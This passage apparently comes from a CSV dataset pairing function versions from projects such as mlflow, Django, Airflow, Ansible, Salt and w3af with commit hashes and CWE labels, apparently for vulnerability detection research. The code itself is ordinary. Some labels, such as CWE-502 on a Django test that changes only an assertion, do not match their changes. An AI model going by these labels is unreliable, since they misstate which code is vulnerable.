                            delegate = sklearn.utils.metaestimators.attrgetter(delegate_name)(obj)
                        except AttributeError:
                            continue
                        else:
                            getattr(delegate, self.attribute_name)
                            break
                    else:
                        sklearn.utils.metaestimators.attrgetter(self.delegate_names[-1])(obj)

                    def out(*args, **kwargs):
                        return self.fn(obj, *args, **kwargs)

                else:
                    # This makes it possible to use the decorated method as an unbound method,
                    # for instance when monkeypatching.
                    def out(*args, **kwargs):
                        return self.fn(*args, **kwargs)

                # update the docstring of the returned function
                functools.update_wrapper(out, self.fn)
                return out

            update_wrapper_extended(
                patched_IffHasAttrDescriptor__get__,
                sklearn.utils.metaestimators._IffHasAttrDescriptor.__get__,
            )

            sklearn.utils.metaestimators._IffHasAttrDescriptor.__get__ = (
                patched_IffHasAttrDescriptor__get__
            )

    _apply_sklearn_descriptor_unbound_method_call_fix()

    if flavor_name == mlflow.xgboost.FLAVOR_NAME:
        estimators_to_patch = _gen_xgboost_sklearn_estimators_to_patch()
        patched_fit_impl = fit_mlflow_xgboost_and_lightgbm
    elif flavor_name == mlflow.lightgbm.FLAVOR_NAME:
        estimators_to_patch = _gen_lightgbm_sklearn_estimators_to_patch()
        patched_fit_impl = fit_mlflow_xgboost_and_lightgbm
    else:
        estimators_to_patch = _gen_estimators_to_patch()
        patched_fit_impl = fit_mlflow

    for class_def in estimators_to_patch:
        # Patch fitting methods
        for func_name in [""fit"", ""fit_transform"", ""fit_predict""]:
            _patch_estimator_method_if_available(
                flavor_name,
                class_def,
                func_name,
                functools.partial(patched_fit, patched_fit_impl),
                manage_run=True,
            )

        # Patch inference methods
        for func_name in [""predict"", ""predict_proba"", ""transform"", ""predict_log_proba""]:
            _patch_estimator_method_if_available(
                flavor_name,
                class_def,
                func_name,
                patched_predict,
                manage_run=False,
            )

        # Patch scoring methods
        _patch_estimator_method_if_available(
            flavor_name,
            class_def,
            ""score"",
            patched_model_score,
            manage_run=False,
        )

    if log_post_training_metrics:
        for metric_name in _get_metric_name_list():
            safe_patch(
                flavor_name, sklearn.metrics, metric_name, patched_metric_api, manage_run=False
            )

        for scorer in sklearn.metrics.SCORERS.values():
            safe_patch(flavor_name, scorer, ""_score_func"", patched_metric_api, manage_run=False)

    def patched_fn_with_autolog_disabled(original, *args, **kwargs):
        with disable_autologging():
            return original(*args, **kwargs)

    for disable_autolog_func_name in _apis_autologging_disabled:
        safe_patch(
            flavor_name,
            sklearn.model_selection,
            disable_autolog_func_name,
            patched_fn_with_autolog_disabled,
            manage_run=False,
        )"
,UNKNOWN,UNKNOWN,tests/queryset_pickle/tests.py,1,"def test_pickle_prefetch_related_idempotence(self):
        g = Group.objects.create(name='foo')
        groups = Group.objects.prefetch_related('event_set')

        # First pickling
        groups = pickle.loads(pickle.dumps(groups))
        self.assertSequenceEqual(groups, [g])

        # Second pickling
        groups = pickle.loads(pickle.dumps(groups))
        self.assertSequenceEqual(groups, [g])",CWE-502,django/django,0c1f71635f8a3f32195e1573fe929c7d88a78511,"def test_pickle_prefetch_related_idempotence(self):
        g = Group.objects.create(name='foo')
        groups = Group.objects.prefetch_related('event_set')

        # First pickling
        groups = pickle.loads(pickle.dumps(groups))
        self.assertQuerysetEqual(groups, [g], lambda x: x)

        # Second pickling
        groups = pickle.loads(pickle.dumps(groups))
        self.assertQuerysetEqual(groups, [g], lambda x: x)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/configuration.py,0,"def as_dict(
        self,
        display_source=False,
        display_sensitive=False,
        raw=False,
        include_env=True,
        include_cmds=True,
        include_secret=True,
    ) -> Dict[str, Dict[str, str]]:
        """"""
        Returns the current configuration as an OrderedDict of OrderedDicts.

        When materializing current configuration Airflow defaults are
        materialized along with user set configs. If any of the `include_*`
        options are False then the result of calling command or secret key
        configs do not override Airflow defaults and instead are passed through.
        In order to then avoid Airflow defaults from overwriting user set
        command or secret key configs we filter out bare sensitive_config_values
        that are set to Airflow defaults when command or secret key configs
        produce different values.

        :param display_source: If False, the option value is returned. If True,
            a tuple of (option_value, source) is returned. Source is either
            'airflow.cfg', 'default', 'env var', or 'cmd'.
        :type display_source: bool
        :param display_sensitive: If True, the values of options set by env
            vars and bash commands will be displayed. If False, those options
            are shown as '< hidden >'
        :type display_sensitive: bool
        :param raw: Should the values be output as interpolated values, or the
            ""raw"" form that can be fed back in to ConfigParser
        :type raw: bool
        :param include_env: Should the value of configuration from AIRFLOW__
            environment variables be included or not
        :type include_env: bool
        :param include_cmds: Should the result of calling any *_cmd config be
            set (True, default), or should the _cmd options be left as the
            command to run (False)
        :type include_cmds: bool
        :param include_secret: Should the result of calling any *_secret config be
            set (True, default), or should the _secret options be left as the
            path to get the secret from (False)
        :type include_secret: bool
        :rtype: Dict[str, Dict[str, str]]
        :return: Dictionary, where the key is the name of the section and the content is
            the dictionary with the name of the parameter and its value.
        """"""
        config_sources: Dict[str, Dict[str, str]] = {}
        configs = [
            ('default', self.airflow_defaults),
            ('airflow.cfg', self),
        ]

        self._replace_config_with_display_sources(config_sources, configs, display_source, raw)

        # add env vars and overwrite because they have priority
        if include_env:
            self._include_envs(config_sources, display_sensitive, display_source, raw)
        else:
            self._filter_by_source(config_sources, display_source, self._get_env_var_option)

        # add bash commands
        if include_cmds:
            self._include_commands(config_sources, display_sensitive, display_source, raw)
        else:
            self._filter_by_source(config_sources, display_source, self._get_cmd_option)

        # add config from secret backends
        if include_secret:
            self._include_secrets(config_sources, display_sensitive, display_source, raw)
        else:
            self._filter_by_source(config_sources, display_source, self._get_secret_option)

        return config_sources",CWE-Unknown,apache/airflow,94f698fef39a523cee4a1c3817747519178f8ca8,"def as_dict(
        self,
        display_source=False,
        display_sensitive=False,
        raw=False,
        include_env=True,
        include_cmds=True,
        include_secret=True,
    ) -> Dict[str, Dict[str, str]]:
        """"""
        Returns the current configuration as an OrderedDict of OrderedDicts.

        :param display_source: If False, the option value is returned. If True,
            a tuple of (option_value, source) is returned. Source is either
            'airflow.cfg', 'default', 'env var', or 'cmd'.
        :type display_source: bool
        :param display_sensitive: If True, the values of options set by env
            vars and bash commands will be displayed. If False, those options
            are shown as '< hidden >'
        :type display_sensitive: bool
        :param raw: Should the values be output as interpolated values, or the
            ""raw"" form that can be fed back in to ConfigParser
        :type raw: bool
        :param include_env: Should the value of configuration from AIRFLOW__
            environment variables be included or not
        :type include_env: bool
        :param include_cmds: Should the result of calling any *_cmd config be
            set (True, default), or should the _cmd options be left as the
            command to run (False)
        :type include_cmds: bool
        :param include_secret: Should the result of calling any *_secret config be
            set (True, default), or should the _secret options be left as the
            path to get the secret from (False)
        :type include_secret: bool
        :rtype: Dict[str, Dict[str, str]]
        :return: Dictionary, where the key is the name of the section and the content is
            the dictionary with the name of the parameter and its value.
        """"""
        config_sources: Dict[str, Dict[str, str]] = {}
        configs = [
            ('default', self.airflow_defaults),
            ('airflow.cfg', self),
        ]

        self._replace_config_with_display_sources(config_sources, configs, display_source, raw)

        # add env vars and overwrite because they have priority
        if include_env:
            self._include_envs(config_sources, display_sensitive, display_source, raw)

        # add bash commands
        if include_cmds:
            self._include_commands(config_sources, display_sensitive, display_source, raw)

        # add config from secret backends
        if include_secret:
            self._include_secrets(config_sources, display_sensitive, display_source, raw)
        return config_sources"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/extras/cloud/amazon/cloudtrail.py,0,"def main():

    argument_spec = ec2_argument_spec()
    argument_spec.update(dict(
        state={'required': True, 'choices': ['enabled', 'disabled']},
        name={'required': True, 'type': 'str'},
        s3_bucket_name={'required': False, 'type': 'str'},
        s3_key_prefix={'default': '', 'required': False, 'type': 'str'},
        include_global_events={'default': True, 'required': False, 'type': 'bool'},
    ))
    required_together = (['state', 's3_bucket_name'])

    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True, required_together=required_together)

    if not HAS_BOTO:
      module.fail_json(msg='boto is required.')

    ec2_url, access_key, secret_key, region = get_ec2_creds(module)
    aws_connect_params = dict(aws_access_key_id=access_key,
                              aws_secret_access_key=secret_key)

    if not region:
        module.fail_json(msg=""Region must be specified as a parameter, in EC2_REGION or AWS_REGION environment variables or in boto configuration file"")

    ct_name = module.params['name']
    s3_bucket_name = module.params['s3_bucket_name']
    # remove trailing slash from the key prefix, really messes up the key structure.
    s3_key_prefix = module.params['s3_key_prefix'].rstrip('/')

    include_global_events = module.params['include_global_events']

    #if module.params['state'] == 'present' and 'ec2_elbs' not in module.params:
    #    module.fail_json(msg=""ELBs are required for registration or viewing"")

    cf_man = CloudTrailManager(module, region=region, **aws_connect_params)

    results = { 'changed': False }
    if module.params['state'] == 'enabled':
        results['exists'] = cf_man.exists(name=ct_name)
        if results['exists']:
            results['view'] = cf_man.view(ct_name)
            # only update if the values have changed.
            if results['view']['S3BucketName']              != s3_bucket_name or \
              results['view'].get('S3KeyPrefix', '')      != s3_key_prefix  or \
              results['view']['IncludeGlobalServiceEvents'] != include_global_events:
                if not module.check_mode:
                    results['update'] = cf_man.update(name=ct_name, s3_bucket_name=s3_bucket_name, s3_key_prefix=s3_key_prefix, include_global_service_events=include_global_events)
                results['changed'] = True
        else:
            if not module.check_mode:
                # doesn't exist. create it.
                results['enable'] = cf_man.enable(name=ct_name, s3_bucket_name=s3_bucket_name, s3_key_prefix=s3_key_prefix, include_global_service_events=include_global_events)
            results['changed'] = True

        # given cloudtrail should exist now. Enable the logging.
        results['view_status'] = cf_man.view_status(ct_name)
        results['was_logging_enabled'] = results['view_status'].get('IsLogging', False)
        if not results['was_logging_enabled']:
            if not module.check_mode:
                cf_man.enable_logging(ct_name)
                results['logging_enabled'] = True
            results['changed'] = True

    # delete the cloudtrai
    elif module.params['state'] == 'disabled':
        # check to see if it exists before deleting.
        results['exists'] = cf_man.exists(name=ct_name)
        if results['exists']:
            # it exists, so we should delete it and mark changed.
            if not module.check_mode:
                cf_man.delete(ct_name)
            results['changed'] = True

    module.exit_json(**results)",,ansible/ansible,e064fd3256914a66bcd2fce8122357b2df2f8542,"def main():

    argument_spec = ec2_argument_spec()
    argument_spec.update(dict(
        state={'required': True, 'choices': ['enabled', 'disabled'] },
        name={'required': True, 'type': 'str' },
        s3_bucket_name={'required': False, 'type': 'str' },
        s3_key_prefix={'default':'', 'required': False, 'type': 'str' },
        include_global_events={'default':True, 'required': False, 'type': 'bool' },
    ))
    required_together = ( ['state', 's3_bucket_name'] )

    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True, required_together=required_together)

    if not HAS_BOTO:
      module.fail_json(msg='boto is required.')

    ec2_url, access_key, secret_key, region = get_ec2_creds(module)
    aws_connect_params = dict(aws_access_key_id=access_key,
                              aws_secret_access_key=secret_key)

    if not region:
        module.fail_json(msg=""Region must be specified as a parameter, in EC2_REGION or AWS_REGION environment variables or in boto configuration file"")

    ct_name = module.params['name']
    s3_bucket_name = module.params['s3_bucket_name']
    # remove trailing slash from the key prefix, really messes up the key structure.
    s3_key_prefix = module.params['s3_key_prefix'].rstrip('/')
    include_global_events = module.params['include_global_events']

    #if module.params['state'] == 'present' and 'ec2_elbs' not in module.params:
    #    module.fail_json(msg=""ELBs are required for registration or viewing"")

    cf_man = CloudTrailManager(module, region=region, **aws_connect_params)

    results = { 'changed': False }
    if module.params['state'] == 'enabled':
        results['exists'] = cf_man.exists(name=ct_name)
        if results['exists']:
            results['view'] = cf_man.view(ct_name)
            # only update if the values have changed.
            if results['view']['S3BucketName']              != s3_bucket_name or \
              results['view']['S3KeyPrefix']                != s3_key_prefix  or \
              results['view']['IncludeGlobalServiceEvents'] != include_global_events:
                if not module.check_mode:
                    results['update'] = cf_man.update(name=ct_name, s3_bucket_name=s3_bucket_name, s3_key_prefix=s3_key_prefix, include_global_service_events=include_global_events)
                results['changed'] = True
        else:
            if not module.check_mode:
                # doesn't exist. create it.
                results['enable'] = cf_man.enable(name=ct_name, s3_bucket_name=s3_bucket_name, s3_key_prefix=s3_key_prefix, include_global_service_events=include_global_events)
            results['changed'] = True

        # given cloudtrail should exist now. Enable the logging.
        results['view_status'] = cf_man.view_status(ct_name)
        results['was_logging_enabled'] = results['view_status'].get('IsLogging', False)
        if not results['was_logging_enabled']:
            if not module.check_mode:
                cf_man.enable_logging(ct_name)
                results['logging_enabled'] = True
            results['changed'] = True

    # delete the cloudtrai
    elif module.params['state'] == 'disabled':
        # check to see if it exists before deleting.
        results['exists'] = cf_man.exists(name=ct_name)
        if results['exists']:
            # it exists, so we should delete it and mark changed.
            if not module.check_mode:
                cf_man.delete(ct_name)
            results['changed'] = True

    module.exit_json(**results)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/hdfs_artifact_repo.py,0,"def _walk_path(self, hdfs, hdfs_path):
        if hdfs.exists(hdfs_path):
            if hdfs.isdir(hdfs_path):
                for subdir, _, files in hdfs.walk(hdfs_path):
                    if subdir != hdfs_path:
                        yield subdir, hdfs.isdir(subdir), hdfs.info(subdir).get(""size"")
                    for f in files:
                        file_path = posixpath.join(subdir, f)
                        yield file_path, hdfs.isdir(file_path), hdfs.info(file_path).get(""size"")
            else:
                yield hdfs_path, False, hdfs.info(hdfs_path).get(""size"")",,mlflow/mlflow,b1fb9c915cda4e01864a66edcf0920c2d2d9f02a,"def _walk_path(self, hdfs, hdfs_path):
        if hdfs.exists(hdfs_path):
            if hdfs.isdir(hdfs_path):
                for subdir, _, files in hdfs.walk(hdfs_path):
                    if subdir != hdfs_path:
                        yield subdir, hdfs.isdir(subdir), hdfs.info(subdir).get(""size"")
                    for f in files:
                        file_path = posixpath.join(subdir, f)
                        yield file_path, hdfs.isdir(file_path), hdfs.info(file_path).get(""size"")
            else:
                yield hdfs_path, False, hdfs.info(hdfs_path).get(""size"")"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def __call__(self, *pargs, **kwargs):
        """"""Call all of the registered callbacks that have the same number of
        positional arguments.""""""
        nargs = len(pargs)
        self._validate_nargs(nargs)
        value = None
        if nargs in self.callbacks:
            for callback in self.callbacks[nargs]:
                local_value = callback(*pargs, **kwargs)
                value = local_value if local_value is not None else value
        return value",,jupyter/notebook,e793d022b57e5d95966171ef01f1d17d23a4c2be,"def __call__(self, *pargs, **kwargs):
        """"""Call all of the registered callbacks that have the same number of
        positional arguments.""""""
        nargs = len(pargs)
        self._validate_nargs(nargs)
        if nargs in self.callbacks:
            for callback in self.callbacks[nargs]:
                callback(*pargs, **kwargs)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/defer/tests.py,0,"def test_defer_of_overridden_scalar(self):
        ShadowChild.objects.create()
        obj = ShadowChild.objects.defer(""name"").get()
        self.assertEqual(obj.name, ""adonis"")",CWE-Unknown,django/django,87c63bd8df0eb0109df333df1264c6a96707d6a4,"def test_defer_of_overridden_scalar(self):
        ShadowChild.objects.create()
        obj = ShadowChild.objects.defer(""name"").get()
        self.assertEqual(obj.name, ""adonis"")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/tracking/_model_registry/test_model_registry_client.py,0,"def test_delete_registered_model(mock_store):
    newModelRegistryClient().delete_registered_model(""Model 1"")
    mock_store.delete_registered_model.assert_called_once()",,mlflow/mlflow,893fc133ca0a2043ffb8ae639255a493210225f7,"def test_delete_registered_model(mock_store):
    newModelRegistryClient().delete_registered_model(""Model 1"")
    mock_store.delete_registered_model.assert_called_once()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/forms_tests/field_tests/test_filepathfield.py,0,"def test_filepathfield_2(self):
        path = upath(forms.__file__)
        path = os.path.dirname(os.path.abspath(path)) + '/'
        f = FilePathField(path=path)
        f.choices = [p for p in f.choices if p[0].endswith('.py')]
        f.choices.sort()
        expected = [
            ('/django/forms/__init__.py', '__init__.py'),
            ('/django/forms/boundfield.py', 'boundfield.py'),
            ('/django/forms/fields.py', 'fields.py'),
            ('/django/forms/forms.py', 'forms.py'),
            ('/django/forms/formsets.py', 'formsets.py'),
            ('/django/forms/models.py', 'models.py'),
            ('/django/forms/renderers.py', 'renderers.py'),
            ('/django/forms/utils.py', 'utils.py'),
            ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))
        msg = ""'Select a valid choice. fields.py is not one of the available choices.'""
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('fields.py')
        self.assertTrue(fix_os_paths(f.clean(path + 'fields.py')).endswith('/django/forms/fields.py'))",CWE-Unknown,django/django,b52c73008a9d67e9ddbb841872dc15cdd3d6ee01,"def test_filepathfield_2(self):
        path = upath(forms.__file__)
        path = os.path.dirname(os.path.abspath(path)) + '/'
        f = FilePathField(path=path)
        f.choices = [p for p in f.choices if p[0].endswith('.py')]
        f.choices.sort()
        expected = [
            ('/django/forms/__init__.py', '__init__.py'),
            ('/django/forms/boundfield.py', 'boundfield.py'),
            ('/django/forms/fields.py', 'fields.py'),
            ('/django/forms/forms.py', 'forms.py'),
            ('/django/forms/formsets.py', 'formsets.py'),
            ('/django/forms/models.py', 'models.py'),
            ('/django/forms/utils.py', 'utils.py'),
            ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))
        msg = ""'Select a valid choice. fields.py is not one of the available choices.'""
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('fields.py')
        self.assertTrue(fix_os_paths(f.clean(path + 'fields.py')).endswith('/django/forms/fields.py'))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/fileUpload.py,0,"def __init__(self):
        baseAuditPlugin.__init__(self)
        
        # Internal vars
        self._template_dir = 'plugins' + os.path.sep + 'audit'+ os.path.sep + 'fileUpload'
        self._file_name_list = []
        self._file_list = []
        self._is_404 = None
        
        # User configured
        self._extensions = ['gif', 'html', 'bmp', 'jpg', 'png', 'txt']",,andresriancho/w3af,d93a4548ed597c54ab4ea7622b47aa702179b77e,"def __init__(self):
        baseAuditPlugin.__init__(self)
        
        # Internal vars
        self._template_dir = 'plugins' + os.path.sep + 'audit'+ os.path.sep + 'fileUpload'
        self._file_name_list = []
        self._file_list = []
        self._is_404 = None
        
        # User configured
        self._extensions = ['gif', 'html', 'bmp', 'jpg', 'png', 'txt']"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/aggregation/tests.py,0,"def test_order_by_aggregate_transform(self):
        class Mod100(Mod, Transform):
            def __init__(self, expr):
                super().__init__(expr, 100)

        sum_field = IntegerField()
        sum_field.register_lookup(Mod100, ""mod100"")
        publisher_pages = (
            Book.objects.values(""publisher"")
            .annotate(sum_pages=Sum(""pages"", output_field=sum_field))
            .order_by(""sum_pages__mod100"")
        )
        self.assertQuerySetEqual(
            publisher_pages,
            [
                {""publisher"": self.p2.id, ""sum_pages"": 528},
                {""publisher"": self.p4.id, ""sum_pages"": 946},
                {""publisher"": self.p1.id, ""sum_pages"": 747},
                {""publisher"": self.p3.id, ""sum_pages"": 1482},
            ],
        )",CWE-Unknown,django/django,55f529270125e17bf428585734dbcb33332a46de,"def test_order_by_aggregate_transform(self):
        class Mod100(Mod, Transform):
            def __init__(self, expr):
                super().__init__(expr, 100)

        sum_field = IntegerField()
        sum_field.register_lookup(Mod100, ""mod100"")
        publisher_pages = (
            Book.objects.values(""publisher"")
            .annotate(sum_pages=Sum(""pages"", output_field=sum_field))
            .order_by(""sum_pages__mod100"")
        )
        self.assertQuerySetEqual(
            publisher_pages,
            [
                {""publisher"": self.p2.id, ""sum_pages"": 528},
                {""publisher"": self.p4.id, ""sum_pages"": 946},
                {""publisher"": self.p1.id, ""sum_pages"": 747},
                {""publisher"": self.p3.id, ""sum_pages"": 1482},
            ],
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/boto3_sns.py,0,"def topic_present(
    name,
    subscriptions=None,
    attributes=None,
    region=None,
    key=None,
    keyid=None,
    profile=None,
):
    """"""
    Ensure the SNS topic exists.

    name
        Name of the SNS topic.

    subscriptions
        List of SNS subscriptions.

        Each subscription is a dictionary with a protocol and endpoint key:

        .. code-block:: yaml

            subscriptions:
            - Protocol: https
              Endpoint: https://www.example.com/sns-endpoint
            - Protocol: sqs
              Endpoint: arn:aws:sqs:us-west-2:123456789012:MyQueue

    attributes
        Dictionary of attributes to set on the SNS topic
        Valid attribute keys are:

          - Policy:  the JSON serialization of the topic's access control policy
          - DisplayName:  the human-readable name used in the ""From"" field for notifications
                to email and email-json endpoints
          - DeliveryPolicy:  the JSON serialization of the topic's delivery policy

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string)
        that contains a dict with region, key and keyid.
    """"""
    ret = {""name"": name, ""result"": True, ""comment"": """", ""changes"": {}}

    something_changed = False
    current = __salt__[""boto3_sns.describe_topic""](name, region, key, keyid, profile)
    if current:
        ret[""comment""] = ""AWS SNS topic {0} present."".format(name)
        TopicArn = current[""TopicArn""]
    else:
        if __opts__[""test""]:
            ret[""comment""] = ""AWS SNS topic {0} would be created."".format(name)
            ret[""result""] = None
            return ret
        else:
            TopicArn = __salt__[""boto3_sns.create_topic""](
                name, region=region, key=key, keyid=keyid, profile=profile
            )
            if TopicArn:
                ret[""comment""] = ""AWS SNS topic {0} created with ARN {1}."".format(
                    name, TopicArn
                )
                something_changed = True
            else:
                ret[""comment""] = ""Failed to create AWS SNS topic {0}"".format(name)
                log.error(ret[""comment""])
                ret[""result""] = False
                return ret

    ### Update any explicitly defined attributes
    want_attrs = attributes if attributes else {}
    # Freshen these in case we just created it above
    current_attrs = __salt__[""boto3_sns.get_topic_attributes""](
        TopicArn, region=region, key=key, keyid=keyid, profile=profile
    )
    for attr in [""DisplayName"", ""Policy"", ""DeliveryPolicy""]:
        curr_val = current_attrs.get(attr)
        want_val = want_attrs.get(attr)
        # Some get default values if not set, so it's not safe to enforce absense if they're
        # not provided at all.  This implies that if you want to clear a value, you must explicitly
        # set it to an empty string.
        if want_val is None:
            continue
        if _json_objs_equal(want_val, curr_val):
            continue
        if __opts__[""test""]:
            ret[""comment""] += ""  Attribute {0} would be updated on topic {1}."".format(
                attr, TopicArn
            )
            ret[""result""] = None
            continue
        want_val = (
            want_val
            if isinstance(want_val, six.string_types)
            else salt.utils.json.dumps(want_val)
        )
        if __salt__[""boto3_sns.set_topic_attributes""](
            TopicArn,
            attr,
            want_val,
            region=region,
            key=key,
            keyid=keyid,
            profile=profile,
        ):
            ret[""comment""] += ""  Attribute {0} set to {1} on topic {2}."".format(
                attr, want_val, TopicArn
            )
            something_changed = True
        else:
            ret[""comment""] += ""  Failed to update {0} on topic {1}."".format(
                attr, TopicArn
            )
            ret[""result""] = False
            return ret

    ### Add / remove subscriptions
    want_subs = subscriptions if subscriptions else []
    obfuscated_subs = []
    current_subs = current.get(""Subscriptions"", [])
    current_slim = [
        {""Protocol"": s[""Protocol""], ""Endpoint"": s[""Endpoint""]} for s in current_subs
    ]
    subscribe = []
    unsubscribe = []
    for sub in want_subs:
        # If the subscription contains inline digest auth, AWS will obfuscate the password with
        # '****'.  Thus we need to do the same with ours to permit 1-to-1 comparison.
        # Example: https://user:****@my.endpoiint.com/foo/bar
        endpoint = sub[""Endpoint""]
        matches = re.search(r""https://(?P<user>\w+):(?P<pass>\w+)@"", endpoint)
        if matches is not None:
            sub[""Endpoint""] = endpoint.replace(
                "":"" + matches.groupdict()[""pass""], "":****""
            )
        obfuscated_subs += [copy.deepcopy(sub)]
        # Now set it back...
        if sub not in current_slim:
            sub[""Endpoint""] = endpoint
            subscribe += [sub]
    for sub in current_subs:
        minimal = {""Protocol"": sub[""Protocol""], ""Endpoint"": sub[""Endpoint""]}
        if minimal not in obfuscated_subs and sub[""SubscriptionArn""].startswith(
            ""arn:aws:sns:""
        ):
            unsubscribe += [sub[""SubscriptionArn""]]
    for sub in subscribe:
        prot = sub[""Protocol""]
        endp = sub[""Endpoint""]
        if __opts__[""test""]:
            msg = "" Subscription {0}:{1} would be set on topic {2}."".format(
                prot, endp, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = None
            continue
        subbed = __salt__[""boto3_sns.subscribe""](
            TopicArn, prot, endp, region=region, key=key, keyid=keyid, profile=profile
        )
        if subbed:
            msg = "" Subscription {0}:{1} set on topic {2}."".format(prot, endp, TopicArn)
            ret[""comment""] += msg
            something_changed = True
        else:
            msg = "" Failed to set subscription {0}:{1} on topic {2}."".format(
                prot, endp, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = False
            return ret
    for sub in unsubscribe:
        if __opts__[""test""]:
            msg = ""  Subscription {0} would be removed from topic {1}."".format(
                sub, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = None
            continue
        unsubbed = __salt__[""boto3_sns.unsubscribe""](
            sub, region=region, key=key, keyid=keyid, profile=profile
        )
        if unsubbed:
            ret[""comment""] += ""  Subscription {0} removed from topic {1}."".format(
                sub, TopicArn
            )
            something_changed = True
        else:
            msg = ""  Failed to remove subscription {0} from topic {1}."".format(
                sub, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = False
            return ret
    if something_changed:
        ret[""changes""][""old""] = current
        ret[""changes""][""new""] = __salt__[""boto3_sns.describe_topic""](
            name, region, key, keyid, profile
        )
    return ret",,saltstack/salt,9d21aeec98670629876d84ceebbeefdf9296d56b,"def topic_present(
    name,
    subscriptions=None,
    attributes=None,
    region=None,
    key=None,
    keyid=None,
    profile=None,
):
    """"""
    Ensure the SNS topic exists.

    name
        Name of the SNS topic.

    subscriptions
        List of SNS subscriptions.

        Each subscription is a dictionary with a protocol and endpoint key:

        .. code-block:: yaml

            subscriptions:
            - Protocol: https
              Endpoint: https://www.example.com/sns-endpoint
            - Protocol: sqs
              Endpoint: arn:aws:sqs:us-west-2:123456789012:MyQueue

    attributes
        Dictionary of attributes to set on the SNS topic
        Valid attribute keys are:

          - Policy:  the JSON serialization of the topic's access control policy
          - DisplayName:  the human-readable name used in the ""From"" field for notifications
                to email and email-json endpoints
          - DeliveryPolicy:  the JSON serialization of the topic's delivery policy

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string)
        that contains a dict with region, key and keyid.
    """"""
    ret = {""name"": name, ""result"": True, ""comment"": """", ""changes"": {}}

    something_changed = False
    current = __salt__[""boto3_sns.describe_topic""](name, region, key, keyid, profile)
    if current:
        ret[""comment""] = ""AWS SNS topic {0} present."".format(name)
        TopicArn = current[""TopicArn""]
    else:
        if __opts__[""test""]:
            ret[""comment""] = ""AWS SNS topic {0} would be created."".format(name)
            ret[""result""] = None
            return ret
        else:
            TopicArn = __salt__[""boto3_sns.create_topic""](
                name, region=region, key=key, keyid=keyid, profile=profile
            )
            if TopicArn:
                ret[""comment""] = ""AWS SNS topic {0} created with ARN {1}."".format(
                    name, TopicArn
                )
                something_changed = True
            else:
                ret[""comment""] = ""Failed to create AWS SNS topic {0}"".format(name)
                log.error(ret[""comment""])
                ret[""result""] = False
                return ret

    ### Update any explicitly defined attributes
    want_attrs = attributes if attributes else {}
    # Freshen these in case we just created it above
    current_attrs = __salt__[""boto3_sns.get_topic_attributes""](
        TopicArn, region=region, key=key, keyid=keyid, profile=profile
    )
    for attr in [""DisplayName"", ""Policy"", ""DeliveryPolicy""]:
        curr_val = current_attrs.get(attr)
        want_val = want_attrs.get(attr)
        # Some get default values if not set, so it's not safe to enforce absense if they're
        # not provided at all.  This implies that if you want to clear a value, you must explicitly
        # set it to an empty string.
        if want_val is None:
            continue
        if _json_objs_equal(want_val, curr_val):
            continue
        if __opts__[""test""]:
            ret[""comment""] += ""  Attribute {0} would be updated on topic {1}."".format(
                attr, TopicArn
            )
            ret[""result""] = None
            continue
        want_val = (
            want_val
            if isinstance(want_val, six.string_types)
            else salt.utils.json.dumps(want_val)
        )
        if __salt__[""boto3_sns.set_topic_attributes""](
            TopicArn,
            attr,
            want_val,
            region=region,
            key=key,
            keyid=keyid,
            profile=profile,
        ):
            ret[""comment""] += ""  Attribute {0} set to {1} on topic {2}."".format(
                attr, want_val, TopicArn
            )
            something_changed = True
        else:
            ret[""comment""] += ""  Failed to update {0} on topic {1}."".format(
                attr, TopicArn
            )
            ret[""result""] = False
            return ret

    ### Add / remove subscriptions
    want_subs = subscriptions if subscriptions else []
    obfuscated_subs = []
    current_subs = current.get(""Subscriptions"", [])
    current_slim = [
        {""Protocol"": s[""Protocol""], ""Endpoint"": s[""Endpoint""]} for s in current_subs
    ]
    subscribe = []
    unsubscribe = []
    for sub in want_subs:
        # If the subscription contains inline digest auth, AWS will obfuscate the password with
        # '****'.  Thus we need to do the same with ours to permit 1-to-1 comparison.
        # Example: https://user:****@my.endpoiint.com/foo/bar
        endpoint = sub[""Endpoint""]
        matches = re.search(r""https://(?P<user>\w+):(?P<pass>\w+)@"", endpoint)
        if matches is not None:
            sub[""Endpoint""] = endpoint.replace(
                "":"" + matches.groupdict()[""pass""], "":****""
            )
        obfuscated_subs += [copy.deepcopy(sub)]
        # Now set it back...
        if sub not in current_slim:
            sub[""Endpoint""] = endpoint
            subscribe += [sub]
    for sub in current_subs:
        minimal = {""Protocol"": sub[""Protocol""], ""Endpoint"": sub[""Endpoint""]}
        if minimal not in obfuscated_subs:
            unsubscribe += [sub[""SubscriptionArn""]]
    for sub in subscribe:
        prot = sub[""Protocol""]
        endp = sub[""Endpoint""]
        if __opts__[""test""]:
            msg = "" Subscription {0}:{1} would be set on topic {2}."".format(
                prot, endp, TopicArn
            )
            ret[""comment""] += msg
